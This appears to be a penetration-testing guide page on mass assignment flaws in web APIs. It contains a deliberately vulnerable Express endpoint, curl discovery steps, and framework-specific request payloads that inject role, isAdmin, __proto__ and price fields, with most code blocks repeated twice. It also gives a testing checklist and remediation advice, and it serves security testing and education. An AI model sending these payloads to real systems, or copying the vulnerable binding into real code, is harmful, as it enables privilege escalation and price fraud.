Exploitation A04 A01

Mass Assignment

Mass assignment (also called autobinding or object injection) occurs when an application automatically binds HTTP request parameters to internal model properties. By adding extra fields to a request, attackers can modify properties not intended to be user-editable — such as role, isAdmin, price, or balance.

Danger

Mass assignment attacks are extremely common in modern frameworks (Rails, Django, Laravel, Spring, Express). The vulnerability is in the application logic, not the framework itself.

How Mass Assignment Works

Vulnerable Code Example (Node.js/Express)

The application updates the user model by spreading all request body fields directly:

javascript
// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
  // DANGEROUS: Binds ALL request fields to the user object
  User.findByIdAndUpdate(req.user.id, req.body, { new: true })
    .then(user => res.json(user));
});

// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}

// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}
// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
  // DANGEROUS: Binds ALL request fields to the user object
  User.findByIdAndUpdate(req.user.id, req.body, { new: true })
    .then(user => res.json(user));
});

// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}

// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}

Discovery Techniques

bash
# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
#   "id": 123,
#   "name": "John",
#   "email": "john@example.com",
#   "role": "user",       ← interesting!
#   "isAdmin": false,    ← interesting!
#   "balance": 100,      ← interesting!
#   "verified": true
# }

# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
  -H 'Authorization: Bearer TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "John", "role": "admin"}'

# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!

# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)
# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
#   "id": 123,
#   "name": "John",
#   "email": "john@example.com",
#   "role": "user",       ← interesting!
#   "isAdmin": false,    ← interesting!
#   "balance": 100,      ← interesting!
#   "verified": true
# }

# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
  -H 'Authorization: Bearer TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "John", "role": "admin"}'

# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!

# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)

Framework-Specific Attacks

bash
# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true

# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true

# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}

# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN

# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=true
# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true

# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true

# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}

# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN

# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=true

Advanced Scenarios

bash
# Nested object injection:
PUT /api/user/profile
{
  "name": "John",
  "address": {
    "street": "123 Main St",
    "__proto__": {"isAdmin": true}
  }
}

# Array manipulation:
POST /api/order
{
  "items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price

# Registration with role assignment:
POST /api/register
{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@test.com",
  "role_id": 1,
  "group_id": 1
}

# GraphQL mass assignment:
mutation {
  updateUser(input: {
    name: "John"
    role: "ADMIN"
    verified: true
  }) {
    id
    name
    role
  }
}
# Nested object injection:
PUT /api/user/profile
{
  "name": "John",
  "address": {
    "street": "123 Main St",
    "__proto__": {"isAdmin": true}
  }
}

# Array manipulation:
POST /api/order
{
  "items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price

# Registration with role assignment:
POST /api/register
{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@test.com",
  "role_id": 1,
  "group_id": 1
}

# GraphQL mass assignment:
mutation {
  updateUser(input: {
    name: "John"
    role: "ADMIN"
    verified: true
  }) {
    id
    name
    role
  }
}

Testing Checklist

  1. 1. Read API responses to discover all model fields (especially role, admin, balance, verified)
  2. 2. Check API documentation (Swagger/OpenAPI) for model schemas with editable vs read-only fields
  3. 3. Add extra fields to update/create requests and check if they persist
  4. 4. Test registration endpoints for role/privilege escalation
  5. 5. Test nested objects and array parameters
  6. 6. Check if GraphQL mutations accept unauthorized fields
  7. 7. Compare user-role vs admin-role responses to identify hidden fields

Evidence Collection

Before: GET response showing original field values (role: user, isAdmin: false)

Attack Request: PUT/POST request with injected fields

After: GET response showing modified field values (role: admin, isAdmin: true)

CVSS Range: Privilege escalation: 8.1–9.8 | Price manipulation: 6.5–8.6

Remediation

  • Allowlist fields: Explicitly define which fields can be set by user input (Rails: params.permit(:name, :email)).
  • Use DTOs: Map requests to Data Transfer Objects with only user-editable fields, never bind directly to database models.
  • Read-only decorators: Mark sensitive fields as read-only in the model/schema.
  • Validate on the server: Never trust client-side field restrictions — always enforce on the backend.

False Positive Identification

  • Parameter accepted but not stored: The API accepting extra fields in the request doesn't mean they're persisted — verify by fetching the resource and checking if the injected field was saved.
  • Intended bulk update: Some APIs allow setting multiple fields intentionally (e.g., PATCH with partial updates) — focus on fields that should be restricted (role, admin, verified).
  • Default values vs. injection: A field returning a default value (e.g., role=user) may not mean your injection worked — test with a non-default value to confirm.